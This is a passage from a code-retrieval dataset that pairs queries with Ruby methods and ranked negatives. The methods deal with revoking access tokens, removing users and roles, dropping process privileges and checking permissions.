=> id).update(:revoked => revoked)\n AccessGrant.collection.filter(:client_id => id).update(:revoked => revoked)\n AccessToken.collection.filter(:client_id => id).update(:revoked => revoked)\n end", "def destroy_user(id)\n #TODO:\n # ADD SOME USER LEVEL TO AVOID THESE\n end", "def revoke_superuser(user, opts={})\n return false unless self.superuser?(user, opts)\n unh = self._user_and_host(user, opts[:host])\n self.interpreter.log.info(PNOTE+\"Revoked superuser rights from MySQL user: #{unh}\")\n self.fetch(\"revoke all on *.* from #{unh}\") if self.interpreter.writing?\n return true\n end", "def revoke\n raise \"Implement me!\"\n end", "def change_privilege(user, group=user)\n Merb.logger.info \"Changing privileges to #{user}:#{group}\"\n \n uid, gid = Process.euid, Process.egid\n target_uid = Etc.getpwnam(user).uid\n target_gid = Etc.getgrnam(group).gid\n \n if uid != target_uid || gid != target_gid\n # Change process ownership\n Process.initgroups(user, target_gid)\n Process::GID.change_privilege(target_gid)\n Process::UID.change_privilege(target_uid)\n end\n rescue Errno::EPERM => e\n Merb.logger.error \"Couldn't change user and group to #{user}:#{group}: #{e}\"\n end", "def destroy_user\n self.own_children.each do |child|\n unless child.admins.where([\"relations.user_id != ?\", self.id]).any?\n child.destroy_child\n end\n end\n self.destroy\n end", "def revoke!\n self.class.transaction do\n update_attribute :revoked, Time.now\n client.increment! :tokens_revoked\n end\n end", "def modify_snapshot_attribute_create_volume_permission_remove_users(snapshot_id, *user_id)\n modify_snapshot_attribute(snapshot_id, 'createVolumePermission', 'remove', :user_id => user_id.flatten )\n end", "def action_remove\n notifying_block do\n remove_user\n remove_group if new_resource.group\n end\n end", "def drop_privileges(uid, gid, supplementary_groups)\n if ::Process::Sys.geteuid == 0\n uid_num = Etc.getpwnam(uid).uid if uid\n gid_num = Etc.getgrnam(gid).gid if gid\n\n supplementary_groups ||= []\n\n group_nums = supplementary_groups.map do |group|\n Etc.getgrnam(group).gid\n end\n\n ::Process.groups = [gid_num] if gid\n ::Process.groups |= group_nums unless group_nums.empty?\n ::Process::Sys.setgid(gid_num) if gid\n ::Process::Sys.setuid(uid_num) if uid\n ENV['HOME'] = Etc.getpwuid(uid_num).try(:dir) || ENV['HOME'] if uid\n end\n end", "def remove_right\n role = Role.find(params[:role_id])\n\tright = Right.find(params[:id])\n\trole.rights.delete(right)\n\tredirect_to roles_rights_url\n end", "def remove_user\n create_user.tap do |r|\n r.action(:remove)\n end\n end", "def remove_user(user)\n group_members.find_by(group: self, user: user).destroy\n end", "def drop_reviewer(reviewer)\n if reviewer.is_a?(Integer)\n r = reviewers.find_by_offering_reviewer_id(reviewer)\n elsif reviewer.is_a?(CommitteeMember) \n r = reviewers.find_by_committee_member_id(reviewer.id)\n end\n r.destroy\n self.save\n end", "def writer?(user)\n public_write || permitted?(writers_join_table, user)\n end", "def remove_member(user)\r\n fail \"not enough admins left\" if self.is_last_admin?(user)\r\n\r\n @member_limits.delete(user.email)\r\n self.members.delete(user.email)\r\n self.admins.delete(user.email) if self.is_admin?(user)\r\n end", "def destroy\n @user = User.find_by_username(params[:id])\n authorize! :manage, @user\n \n if !current_user.has_role?(:admin)\n redirect_to root_url, alert: \"Only admins allowed.\"\n else\n \n\n respond_to do |format|\n if @user.destroy\n format.html { redirect_to root_url, notice: \"User deleted.\" } \n else\n format.html { redirect_to user_path(@user.username), notice: \"User deactivated.\" } \n end\n end\n end\n end", "def revoke_roles_permitted?(role)\n revoke_roles_permitted.include?(role)\n end", "def revoke_access!(remove_refresh_token = false)\n token_type = remove_refresh_token ? :refresh_token : :access_token\n token = access.send(token_type)\n @access = nil\n reset_connection!\n auth_connection.post(\n \"/api/v1/revoke_token\",\n token: token,\n token_type_hint: token_type\n )\n end", "def destroy\n authorize(@user, :update?)\n\n @user.destroy\n\n redirect_to users_path, notice: t('user.deleted')\n end", "def owner\n guest_list = GuestList.find(params[:id])\n guest_list.remove_user_permissions(params[:user_id])\n redirect_to wedding_list_managers_path(guest_list.wedding)\n end", "def permits_write_access_for(user)\n end", "def revoke\n @resource_access_token = finder.find(params[:id])\n revoked_response = ResourceAccessTokens::RevokeService.new(current_user, resource, @resource_access_token).execute\n\n if revoked_response.success?\n flash[:notice] = _(\"Revoked access token %{access_token_name}!\") % { access_token_name: @resource_access_token.name }\n else\n flash[:alert] = _(\"Could not revoke access token %{access_token_name}.\") % { access_token_name: @resource_access_token.name }\n end\n\n redirect_to resource_access_tokens_path\n end", "def deletable?(user=User.current)\n user_permission?(user, :delete_pulls)\n end", "def destroy\n\t\t@user = User.find(params[:id])\n authorize @user\n @user.destroy\n\n redirect_to users_path\n\tend", "def modify_snapshot_attribute_create_volume_permission_remove_groups(snapshot_id, *user_group)\n user_group.flatten!\n user_group = ['all'] if user_group.right_blank?\n modify_snapshot_attribute(snapshot_id, 'createVolumePermission', 'remove', :user_group => user_group )\n end", "def revoke\n @invitation = Invitation.with_token!(params[:id])\n\n authorize! @invitation\n\n @invitation.destroy\n\n redirect_to :back, notice: \"Successfully revoked\n invitation for #{@invitation.email}\"\n end", "def destroy \n if !current_user.isScrumMasterOrProductOwner?\n if !current_user.isAdmin?\n if current_user.id == @user.id\n borrar\n else\n redirect_to(root_path, notice: \"You can not delete other users\")\n end\n else\n if User.where(:role => \"admin\").count > 1 or @user.role == \"user\"\n borrar\n else\n redirect_to(users_path, notice: \"It is not allowed to delete the admin\")\n end\n end\n else\n redirect_to(root_path, notice: \"It is not allowed to delete users while being a Scrum Master or Product Owner\")\n end\n end", "def unvolunteer(user)\n if self.volunteering_allowed? && self.volunteered_for?(user) then\n v = self.volunteers.find_by_user_id(user.id)\n v.destroy unless v.nil?\n end\n end", "def drop_user(user, options = nil)\n policy = create_policy(options, AdminPolicy, default_admin_policy)\n command = AdminCommand.new\n command.drop_user(@cluster, policy, user)\n end", "def revoke\n @delegation = current_user.employee_delegations.find_by(token: params[:delegation_id])\n if @delegation.nil?\n flash[:alert] = 'You are not authorised to access this page'\n redirect_to root_path and return\n else\n @delegation.deactivate('employee')\n flash[:notice] = 'Confirmed! Your account is no longer controlled by ' + @delegation.manager.full_identity\n redirect_to root_path and return\n end\n end", "def revoke!\n self.revoked = Time.now.to_i\n Client.collection.update({ :_id=>id }, { :$set=>{ :revoked=>revoked } })\n AuthRequest.collection.update({ :client_id=>id }, { :$set=>{ :revoked=>revoked } })\n AccessGrant.collection.update({ :client_id=>id }, { :$set=>{ :revoked=>revoked } })\n AccessToken.collection.update({ :client_id=>id }, { :$set=>{ :revoked=>revoked } })\n end", "def destroy\n\t\tif(is_admin?)\n\t @user = User.find(params[:id])\n \t \t@user.destroy\n\t respond_to do |format|\n \t \tformat.html { redirect_to(users_url) }\n \t \tformat.xml { head :ok }\n\t\t\tend\n\t\telse\n\t\t\tredirect_to user_path, notice: 'Access Denied'\n end\n end" ]
[ "0.6460848", "0.62574023", "0.6123704", "0.61066264", "0.5954562", "0.5946864", "0.5877412", "0.5857137", "0.5718096", "0.565587", "0.5617169", "0.55969906", "0.5582123", "0.5581712", "0.5563368", "0.55628145", "0.55310524", "0.5528573", "0.5485884", "0.5480639", "0.54636854", "0.54539335", "0.541177", "0.54103637", "0.5410221", "0.54098237", "0.5364206", "0.53607005", "0.5359674", "0.53354114", "0.53277296", "0.5326535", "0.5325205", "0.52950704", "0.5293228", "0.52856994", "0.52736133", "0.52704805", "0.5269141", "0.5267109", "0.5249717", "0.5249717", "0.52468157", "0.52260804", "0.52242094", "0.52148414", "0.52021235", "0.51830006", "0.5175927", "0.51498836", "0.51459324", "0.5144863", "0.5141482", "0.51324797", "0.51316667", "0.5131432", "0.5124751", "0.51219535", "0.5121948", "0.5118315", "0.5103066", "0.5100073", "0.5097527", "0.50917745", "0.5087131", "0.5083405", "0.5082078", "0.5079151", "0.50692797", "0.5067779", "0.5059571", "0.5055777", "0.50073284", "0.50065166", "0.49987373", "0.49976444", "0.4993004", "0.49906656", "0.49824843", "0.49767622", "0.49751338", "0.4966664", "0.4966059", "0.49623436", "0.49619704", "0.49596563", "0.49590188", "0.4956901", "0.49532264", "0.49514964", "0.49491903", "0.4927462", "0.4922029", "0.491394", "0.49128973", "0.49078023", "0.4907592", "0.49050593", "0.48885465", "0.48874378" ]
0.67918736
0
Revoke a User's or UserGroup's reader privileges.
def remove_reader(arg) chg_permission(readers, arg, :remove) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def revoke_access(user_identifier)\n Scribd::Security.revoke_access user_identifier, self\n end", "def revoke_admin\n authorize! @user\n @user.roles = @user.roles - ['admin']\n @user.save\n redirect_to @user, notice: t('user.revoked_admin', name: @user.username)\n end", "def revoke\n ip, security_group = parse_security_group_and_ip_from_args\n rds.revoke_db_security_group_ingress(security_group, 'CIDRIP' => ip)\n self.access\n end", "def revoke_privileges(role_name, privileges, options = nil)\n policy = create_policy(options, AdminPolicy, default_admin_policy)\n command = AdminCommand.new\n command.revoke_privileges(@cluster, policy, role_name, privileges)\n end", "def revoke(user, session)\n\t\trevoke_session user if authorize(user, session)\n\tend", "def revoke_authorization user_id\n credentials = get_credentials user_id\n if credentials\n begin\n @token_store.delete user_id\n ensure\n credentials.revoke!\n end\n end\n nil\n end", "def revoke\n useraccount = Useraccount.find_by_username(params[:username])\n right = Right.find(params[:right_id])\n useraccount.rights.delete(right)\n useraccount.touch # sets useraccount.updated_at to now\n \n redirect_to :action => 'rightassignment', :username => params[:username]\n end", "def revoke(*roles)\n delete(roles)\n reload\n end", "def revoke_roles(user, roles, options = nil)\n policy = create_policy(options, AdminPolicy, default_admin_policy)\n command = AdminCommand.new\n command.revoke_roles(@cluster, policy, user, roles)\n end", "def revoke *args\n opts = extract_options!(args)\n principals = extract_principals(opts)\n args.each { |role| revoke_role_from_principals(role, principals) }\n self\n end", "def revoke_user_impersonation_token(user_id, impersonation_token_id)\n delete(\"/users/#{user_id}/impersonation_tokens/#{impersonation_token_id}\")\n end", "def revoke\n @resource_access_token = finder.find(params[:id])\n revoked_response = ResourceAccessTokens::RevokeService.new(current_user, resource, @resource_access_token).execute\n\n if revoked_response.success?\n flash[:notice] = _(\"Revoked access token %{access_token_name}!\") % { access_token_name: @resource_access_token.name }\n else\n flash[:alert] = _(\"Could not revoke access token %{access_token_name}.\") % { access_token_name: @resource_access_token.name }\n end\n\n redirect_to resource_access_tokens_path\n end", "def revoke(user_id)\n require_user\n\n user = User.find(user_id)\n user.secrets.each do |secret|\n secret.destroy\n end\n\n user.destroy\n end", "def revoke_user(user_oauth_token)\n params = { token: user_oauth_token }\n api_post(@revoke_url, @client_id, params)\n end", "def revoke\n @session.do_rpc_endpoint('/revoke')\n nil\n end", "def drop_privileges(user, group)\n uid, gid = user_id(user) if user\n gid = group_id(group) if group\n\n Process::Sys.setgid(gid) if gid\n Process::Sys.setuid(uid) if uid\n rescue Errno::EPERM => e\n raise ServiceError, \"unable to drop privileges (#{e})\"\n end", "def revoke_all_permissions\n update_column(:admin, nil)\n UserPermission.where(user_id: id).each(&:destroy)\n end", "def curator_access_revoke\n unless user_signed_in? && current_user.user_type == \"curator\"\n redirect_to root_path\n end\n end", "def revoke\n post('/api/revoke')\n end", "def revoke_access!(remove_refresh_token = false)\n token_type = remove_refresh_token ? :refresh_token : :access_token\n token = access.send(token_type)\n @access = nil\n reset_connection!\n auth_connection.post(\n \"/api/v1/revoke_token\",\n token: token,\n token_type_hint: token_type\n )\n end", "def revoke_firecloud_acl\n\t\tbegin\n\t\t\tunless self.permission == 'Reviewer'\n\t\t\t\tacl = Study.firecloud_client.create_workspace_acl(self.email, 'NO ACCESS')\n\t\t\t\tStudy.firecloud_client.update_workspace_acl(self.firecloud_project, self.firecloud_workspace, acl)\n\t\t\tend\n\t\trescue RuntimeError => e\n\t\t\tRails.logger.error \"#{Time.now}: Could not remove share for #{self.email} to workspace #{self.firecloud_workspace} due to: #{e.message}\"\n\t\t\tSingleCellMailer.share_delete_fail(self.study, self.email).deliver_now\n\t\tend\n\tend", "def delete_permissions_for_user(user)\n remove_filtered_policy(0, user)\n end", "def revoke_admin_rights(member)\r\n fail \"#{member.email} is not a admin of this organisation\" unless admins[member.email]\r\n fail \"not enough admins left\" unless self.admin_count > 1\r\n self.admins.delete(member.email)\r\n end", "def revoke!\n self.class.transaction do\n update_attribute :revoked, Time.now\n client.increment! :tokens_revoked\n end\n end", "def revoke_session(user)\n\t\t@sessions.delete user\n\tend", "def revoke_oauth_token\n current_user.revoke_token\n end", "def revoke\n raise \"Implement me!\"\n end", "def revoke_user_token(token)\n body = {\n token: token\n }\n @client.post('/auth/oauth2/revoke', body, {}, {'Content-Type' => 'application/x-www-form-urlencoded'})\n end", "def revoke_role(role)\n self.roles.delete(role) if roles\n end", "def unauthorize_member\n @user = User.find(params[:user_id])\n @group = Group.find(params[:group_id])\n auth_or_unauth_member(\"unauth\", @user, @group)\n end", "def remove_from_acl(group_ids)\n # filter out the owning user so never accidentally removed\n group_ids = filter_owner(group_ids)\n acl.remove_groups(group_ids)\n end", "def revoke!\n self.revoked = Time.now.to_i\n Client.collection.filter(:id => id).update :revoked => revoked\n AuthRequest.collection.filter(:client_id => id).update(:revoked => revoked)\n AccessGrant.collection.filter(:client_id => id).update(:revoked => revoked)\n AccessToken.collection.filter(:client_id => id).update(:revoked => revoked)\n end", "def revoke\n @delegation = current_user.employee_delegations.find_by(token: params[:delegation_id])\n if @delegation.nil?\n flash[:alert] = 'You are not authorised to access this page'\n redirect_to root_path and return\n else\n @delegation.deactivate('employee')\n flash[:notice] = 'Confirmed! Your account is no longer controlled by ' + @delegation.manager.full_identity\n redirect_to root_path and return\n end\n end", "def revoke(userid=nil, email=nil) #(userid OR email) required\n end", "def revoke\n @invitation = Invitation.with_token!(params[:id])\n\n authorize! @invitation\n\n @invitation.destroy\n\n redirect_to :back, notice: \"Successfully revoked\n invitation for #{@invitation.email}\"\n end", "def delete_user(user)\n res1 = remove_filtered_grouping_policy(0, user)\n res2 = remove_filtered_policy(0, user)\n res1 || res2\n end", "def delete_roles_for_user(user)\n remove_filtered_grouping_policy(0, user)\n end", "def revoke!(revoker)\n update(\n :ends_at => Time.now.getutc,\n :revoker_id => revoker.id,\n :needs_view => false\n )\n end", "def revoke(userid=nil, email=nil) #(userid OR email) required\n end", "def remove_readonly_user(opts)\n opts = check_params(opts,[:ro_user_info])\n super(opts)\n end", "def revoke(name, permissions)\n bucket, thing = bucket_and_thing(name)\n permissions.each do |subject, perms|\n grantee = RightAws::S3::Grantee.new(thing, subject, perms.map {|perm| perm.upcase}, :refresh)\n if perms.empty? then\n grantee.drop\n else\n grantee.revoke(*permissions)\n grantee.apply\n end\n end\n end", "def revoke_admin\n self.update_attributes(:admin => false)\n end", "def remove_writer(arg)\n chg_permission(writers, arg, :remove)\n end", "def revoke_access_token\n\t\t\tif session[:token]\n\t\t\t\t# Use either the refresh or access token to revoke if present.\n\t\t\t\ttoken = session[:token].to_hash[:refresh_token]\n\t\t\t\ttoken = session[:token].to_hash[:access_token] unless token\n\n\t\t\t\t# You could reset the state at this point, but as-is it will still stay unique\n\t\t\t\t# to this user and we're avoiding resetting the client state.\n\t\t\t\tsession.delete(:state)\n\t\t\t\tsession.delete(:token)\n\n\t\t\t\t# Send the revocation request and return the result.\n\t\t\t\trevokePath = 'https://accounts.google.com/o/oauth2/revoke?token=' + token\n\t\t\t\turi = URI.parse revokePath\n\t\t\t\trequest = Net::HTTP.new uri.host, uri.port\n\t\t\t\trequest.use_ssl = true\n\t\t\t\trequest.get uri.request_uri\n\t\t\tend\n\t\tend", "def handle_revoke_permission\n raise ArgumentError, \"Error: trying to revoke permission #{privilege_set_name} for #{pristine_role.name}, but this permission does not exist\" unless cbac_permission_exists?\n\n if pristine_role.role_type == PristineRole.ROLE_TYPES[:context]\n permission = Cbac::Permission.joins(:privilege_set).where(\"cbac_privilege_set.name = ?\", privilege_set_name).where(context_role: pristine_role.name).first\n else\n permission = Cbac::Permission.joins(:generic_role, :privilege_set).where(\"cbac_privilege_set.name = ?\", privilege_set_name).where(\"cbac_generic_roles.name = ?\", pristine_role.name).first\n end\n\n register_change if Cbac::Permission.find(permission.id).destroy\n end", "def remove(name)\n syscmd(\"userdel -f #{name}\")\n syscmd(\"groupdel #{name}\", valid_rcs: [6])\n exclusively { users.delete(name) }\n end", "def revoke\n # The authorization server first validates the client credentials\n if doorkeeper_token && doorkeeper_token.accessible?\n # Doorkeeper does not use the token_type_hint logic described in the RFC 7009\n # due to the refresh token implementation that is a field in the access token model.\n revoke_token(request.POST['token']) if request.POST['token']\n end\n # The authorization server responds with HTTP status code 200 if the\n # token has been revoked successfully or if the client submitted an invalid token\n render json: {}, status: 200\n end", "def revoke!\n return if revoked?\n update(revoked_at: Time.now)\n tokens.update_all(revoked_at: Time.now, updated_at: Time.now)\n end", "def revoke_token(refresh_token_or_access_token)\n data = { \"token\" => refresh_token_or_access_token }\n query_api(\"/auth/revoke?\" + URI.encode_www_form(data))\n return nil\n end", "def revoke_token(refresh_token_or_access_token)\n data = { \"token\" => refresh_token_or_access_token }\n query_api(\"/auth/revoke?\" + URI.encode_www_form(data))\n return nil\n end", "def revoke\n oauth_access_token.revoke\n head :ok\n end", "def revoke!\n self.revoked = Time.now.to_i\n Client.collection.update({ :_id=>id }, { :$set=>{ :revoked=>revoked } })\n AuthRequest.collection.update({ :client_id=>id }, { :$set=>{ :revoked=>revoked } })\n AccessGrant.collection.update({ :client_id=>id }, { :$set=>{ :revoked=>revoked } })\n AccessToken.collection.update({ :client_id=>id }, { :$set=>{ :revoked=>revoked } })\n end", "def revoke_superuser(user, opts={})\n return false unless self.superuser?(user, opts)\n unh = self._user_and_host(user, opts[:host])\n self.interpreter.log.info(PNOTE+\"Revoked superuser rights from MySQL user: #{unh}\")\n self.fetch(\"revoke all on *.* from #{unh}\") if self.interpreter.writing?\n return true\n end", "def revoke!\n self.revoked = Time.now.to_i\n AccessToken.collection.update({ :_id=>token }, { :$set=>{ :revoked=>revoked } })\n Client.collection.update({ :_id=>client_id }, { :$inc=>{ :tokens_revoked=>1 } })\n end", "def revoke!\n self.revoked = Time.now.to_i\n AccessToken.collection.update({ :_id=>token }, { :$set=>{ :revoked=>revoked } })\n Client.collection.update({ :_id=>client_id }, { :$inc=>{ :tokens_revoked=>1 } })\n end", "def local_revoke(peer)\n @var[:revoked] << peer unless @var[:revoked].include?(peer)\n _notice \"You have revoked access to #{peer}\"\n local_rekey('')\nend", "def drop_reviewer(reviewer)\n if reviewer.is_a?(Integer)\n r = reviewers.find_by_offering_reviewer_id(reviewer)\n elsif reviewer.is_a?(CommitteeMember) \n r = reviewers.find_by_committee_member_id(reviewer.id)\n end\n r.destroy\n self.save\n end", "def revoke(access)\n token =\n if access.is_a?(String)\n access\n elsif access.respond_to?(:refresh_token)\n access.refresh_token\n else\n access.access_token\n end\n post('/api/v1/revoke_token', token: token)\n end", "def admin_deny_user\n @user.destroy\n redirect_to admin_path, notice: \"User Denied and Account Deleted\"\n end", "def destroy\n\n #Make sure only logged in admins can manipulate users\n\n if @loggedinuser && @loggedinuser.authorizationlevel >= 4\n @user = User.find(params[:id])\n if (@user)\n @user.destroy\n end\n redirect_to :action => 'index'\n else\n redirect_to '/'\n end \n end", "def remove_user_privilege(channel, nick, privilege)\n channel = normalized_channel_name(channel)\n privcode = server_type.privilege.key(privilege).chr if server_type.privilege.value? privilege\n privcode ||= privilege\n mode channel, \"-#{privcode}\", nick\n end", "def remove_right\n role = Role.find(params[:role_id])\n\tright = Right.find(params[:id])\n\trole.rights.delete(right)\n\tredirect_to roles_rights_url\n end", "def delete_user(username)\n groups = Avalon::RoleControls.user_roles username\n User.where(Devise.authentication_keys.first => username).destroy_all\n groups.each do |group|\n Avalon::RoleControls.remove_user_role(username, group)\n end\n end", "def destroy_user(id)\n #TODO:\n # ADD SOME USER LEVEL TO AVOID THESE\n end", "def remove_user!( user )\n user.remove_group!( self )\n end", "def revoke_ec2_security_group(group_name, group_owner_id=owner_id)\n key = group_name.match(/^sg-/) ? 'EC2SecurityGroupId' : 'EC2SecurityGroupName'\n revoke_ingress({\n key => group_name,\n 'EC2SecurityGroupOwnerId' => group_owner_id\n })\n end", "def revoke!\n self[:revoked] = Time.now\n save\n Client[client_id].token_revoked\n end", "def deletable?(user=User.current)\n user_permission?(user, :delete_pulls)\n end", "def revoke(access_token)\n option = {\n url: \"#{api_origin}/api/revoke\",\n header: {\n \"Content-Type\": \"application/x-www-form-urlencoded\",\n Authorization: \"Bearer #{access_token}\",\n }\n }\n response = post(option)\n JSON.parse(response.body)\n end", "def rm_user(member)\n self[:users].delete member\n end", "def unblock_user!(_user_id)\n blocked_users_relationships.where(user_id: _user_id).destroy_all\n end", "def unlink_user_account(user_id, provider, secondary_user_id)\n raise Auth0::MissingUserId, 'Must supply a valid user_id' if user_id.to_s.empty?\n raise Auth0::MissingUserId, 'Must supply a valid secondary user_id' if secondary_user_id.to_s.empty?\n raise Auth0::InvalidParameter, 'Must supply a valid provider' if provider.to_s.empty?\n path = \"#{users_path}/#{user_id}/identities/#{provider}/#{secondary_user_id}\"\n delete(path)\n end", "def deprotect(nick)\n change_permissions(:deprotect, nick)\n end", "def destroy\n restrict('allow only admins') or begin\n @user = User.find_by_id(params[:id])\n if @user.destroy\n respond_to do |format|\n format.html { redirect_to manage_users_url }\n format.xml { head :ok }\n end\n else\n \n end\n end\n end", "def removerole(userrole)\n userrole.delete if userroles.count > 1\n end", "def deletable_by?(user)\n user.has_role?(:admin) or resource.user_id == user.id\n end", "def revoke_security_group_named_ingress(name, owner, group)\n edit_security_group( :revoke, name, :source_group_owner => owner, :source_group => group)\n end", "def revoke_security_group_named_ingress(name, owner, group)\n edit_security_group( :revoke, name, :source_group_owner => owner, :source_group => group)\n end", "def on_revoke(*)\n disconnect(:token_revoked)\n fail SlackBotManager::TokenRevoked\n end", "def remove_project_admin_auth(project_id_or_key, user_id)\n delete(\"projects/#{project_id_or_key}/administrators\", user_id: user_id)\n end", "def revoke( doi )\n #puts \"=====> revoke #{doi}\"\n url = \"#{self.url}/dois/#{doi}\"\n status, _ = rest_put( url, nil )\n return status\n end", "def remove(user_name, repo_name, reviewer_username, params={})\n update_and_validate_user_repo_params(user_name, repo_name)\n normalize! params\n delete_request(\"/2.0/repositories/#{user_name}/#{repo_name}/default-reviewers/#{reviewer_username}\", params)\n end", "def unassign_role_from_user(user_id, role_id, options = {})\n delete(\"/users/#{user_id}/roles/#{role_id}\", options)\n end", "def revoke_token\n request @google + '/accounts/AuthSubRevokeToken'\n\n @session_token = false\n end", "def remove_readwrite_user(opts)\n opts = check_params(opts,[:rw_user_info])\n super(opts)\n end", "def kick_user\n @course = Course.find(params[:id])\n @user = User.find(params[:user_id])\n\n User::ROLES.each { |role| @user.remove_role role, @course }\n @course.users.delete(@user)\n\n flash[:notice] = \"User has been removed from the course.\"\n redirect_to :back\n end", "def delete_permission_for_user(user, *permission)\n remove_policy(Util.join_slice(user, *permission))\n end", "def destroy\n\t\t@user = User.find(params[:id])\n authorize @user\n @user.destroy\n\n redirect_to users_path\n\tend", "def revoke(name, addresses=[], ports=[], protocols=[], &each_group)\n modify_rules(:revoke, name, addresses, ports, protocols, &each_group)\n end", "def deletable_by?(user)\n user.has_role?(:editor) || user.has_role?(:admin)\n end", "def revoke()\n\t\t\tkparams = {}\n\t\t\tclient.queue_service_action_call('session', 'revoke', 'bool', kparams)\n\t\t\tif (client.is_multirequest)\n\t\t\t\treturn nil\n\t\t\tend\n\t\t\treturn client.do_queue()\n\t\tend", "def revoke\n @token = current_user.tokens.where(token: params[:token]).first!\n @token.invalidate!\n\n respond_with(@token) do |format|\n format.html { redirect_to([:client_applications], notice: \"You've revoked the authorization for the application '#{@token.client_application.name}'.\") }\n end\n end", "def delete_grant(id, user_id)\n raise Auth0::InvalidParameter, 'Must specify a grant id as id' if id.to_s.empty?\n raise Auth0::InvalidParameter, 'Must specify a user id' if user_id.to_s.empty?\n path = \"#{grants_path}/#{id}\"\n delete(path, user_id: user_id)\n end", "def remove_resource(source_record:)\n ::Pundit.authorize(user, source_record, 'destroy?')\n end", "def revoke\r\n @fund -= 15\r\n puts \"Project #{@name} pissed someone off, and they revoked their donation.\"\r\nend", "def delete_user(user)\n users = roles\n existing = users[\"cloudant\"]\n \n existing.delete(user) if existing\n update_roles(users)\n end", "def disallow_edit(user)\n self.content_permissions.by_user(user).destroy_all\n end", "def delete_user\n client.delete(user)\n end", "def destroy\n @user = User.find(params[:id])\n @user.transaction do\n @user.user_roles.destroy_all\n @user.update_attribute(:admin, false)\n end\n respond_to do |format|\n format.html { redirect_to admin_roles_path }\n format.json { head :no_content }\n end\n end", "def leave_group(user = nil)\n membership = Membership.find_by user_id: user.id, group_id: id\n raise 'AdminUserCannotLeave' if membership.role == 'admin'\n\n Ticket.where(group_id: id, owner_id: user.id).delete_all\n Ticket.where(group_id: id, user_id: user.id).find_each(&:unassign)\n Membership.where(group_id: id, user_id: user.id).delete_all\n end" ]
[ "0.7004909", "0.6392618", "0.63849384", "0.6352084", "0.61904573", "0.61645865", "0.6136987", "0.60444313", "0.600894", "0.5999004", "0.5993718", "0.5942428", "0.5939897", "0.59338003", "0.5882836", "0.5847772", "0.5840089", "0.5823011", "0.5779547", "0.5763692", "0.57550025", "0.5718673", "0.57107943", "0.56891334", "0.5667769", "0.5627409", "0.56146747", "0.5599375", "0.5581271", "0.5575474", "0.5541479", "0.55280894", "0.55196184", "0.5468", "0.5464992", "0.54573685", "0.5440707", "0.5427756", "0.5423473", "0.5415294", "0.5401348", "0.5398788", "0.5398226", "0.5365021", "0.5355325", "0.53246725", "0.5323325", "0.53212684", "0.52961373", "0.52961373", "0.52934206", "0.52857906", "0.5278272", "0.5273091", "0.5273091", "0.52653295", "0.52623504", "0.5259573", "0.52371293", "0.5235159", "0.5232017", "0.52318686", "0.52128464", "0.5209082", "0.52070016", "0.5202393", "0.51977086", "0.519337", "0.5186108", "0.51859915", "0.5179371", "0.51749676", "0.5160013", "0.5158692", "0.51354104", "0.5134149", "0.5125904", "0.5125904", "0.5124036", "0.5117773", "0.5109595", "0.5106279", "0.509602", "0.5094192", "0.5089311", "0.5073266", "0.5069062", "0.505838", "0.50572187", "0.5051966", "0.5041463", "0.5024113", "0.5022158", "0.50202674", "0.50120944", "0.5008889", "0.49992388", "0.49980044", "0.4996591", "0.498987" ]
0.63003385
4
Check if a given user has the given type of permission.
def permitted?(table, user) if user.is_a?(User) group_user_ids(table).include?(user.id) elsif !user group_ids(table).include?(UserGroup.all_users.id) elsif user.try(:to_i)&.nonzero? group_user_ids(table).include?(user.to_i) else raise(ArgumentError.new("Was expecting User instance, id or nil.")) end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def user?\n permissions == 'user'\n end", "def checkPermissionFor(type = :private)\n \n if(!@allow.nil?) then # if included in @allow list, true.\n return @allow.include?(type) ;\n elsif(!@disallow.nil?) then # if included in @disallow list, false.\n return !(@disallow.include?(type)) ;\n else # no @allow or @disallow list, default is true ;\n return true ;\n end\n end", "def check_user(type, type_id)\n\t\n\t\tif admin_authorized?\n\t\t\treturn true\n\t\tend\n\t\t\n\t\tcase type \n\t\t\twhen \"idea\"\n\t\t\t\t@user_id = Idea.find_by_id(type_id).user_id\n\t\t\twhen \"project\"\n\t\t\t\t@user_id = Project.find_by_id(type_id).user_id\n\t\t\twhen \"innovation\"\n\t\t\t\t@user_id = Innovation.find_by_id(type_id).user_id\n\t\t\telse\n\t\t\t\treturn false\n\t\tend\n\n\t\t\n\t\tif @user_id == current_user.id\n\t\t\treturn true\n\t\telse\n\t\t\treturn false\n\t\tend\n\t\t\n\tend", "def has_user_permission?(object)\n object and object.user and current_user and object.user == current_user\n end", "def authorized?(type=Admin)\n user = current_user\n if user.nil?\n return false\n end\n return user.is_a?(type)\n end", "def authorized?(type=Admin)\n user = current_user\n if user.nil?\n return false\n end\n return user.is_a?(type)\n end", "def has_permission_with?(user)\r\n\t\t\treturn user.has_permission?(privacy_owner, self.class.privacy_rule_name, privacy_object_id)\r\n\t\tend", "def current_user_has_permission?(permission)\n CheckUserPermissions.new(current_user, current_guild).allowed?(permission)\n end", "def permission?(user, level, server)\n determined_level = if user.webhook? || server.nil?\n 0\n else\n user.roles.reduce(0) do |memo, role|\n [@permissions[:roles][role.id] || 0, memo].max\n end\n end\n\n [@permissions[:users][user.id] || 0, determined_level].max >= level\n end", "def can_user_access?(user)\n if user.is_account_holder_or_administrator? || self.is_user_tagged_to_team?(user)\n true\n else\n false\n end\n end", "def is_user?\n usertype == 'user'\n end", "def permission?(permission_key)\n current_user_has_permission? permission_key\n end", "def has_permission_for_user(user, *permission)\n has_policy(Util.join_slice(user, *permission))\n end", "def user_has_permission?( access_type )\n if @pcp_permission.nil? then\n determine_group_map( access_type )\n @pcp_group_act = @pcp_step.acting_group_index\n @pcp_permission = PcpSubject.same_group?( @pcp_group_act, @pcp_group_map )\n end \n @pcp_permission\n end", "def can?(user, action, target)\n @permissions.select { |cls, _| target.is_a?(cls) || target == cls }\n .collect { |_, perms| perms }\n .flatten\n .select { |perm| perm.has_action? action }\n .any? { |perm| perm.allow? user, target }\n end", "def hasPermission user, resourceId, permissionType\n # first allow if resource has a webacls assigned to group \"pubic\"\n @webaclExists = Webacl.where(group_id: \"public\", resource_id: resourceId, acl_mode: permissionType).first\n if @webaclExists.nil?\n groupIds = Array.new\n user.groups.each do |group|\n groupIds.push(group.group_id)\n end\n resources = Webacl.where(:group_id => groupIds)\n @webaclExists = resources.where(resource_id: resourceId, acl_mode: permissionType).first\n end\n !@webaclExists.nil?\n end", "def has_access?(permission, user)\n raise UnknownUserException if user.nil?\n\n AccessProvider.action_permitted_for_user?(permission, user)\n 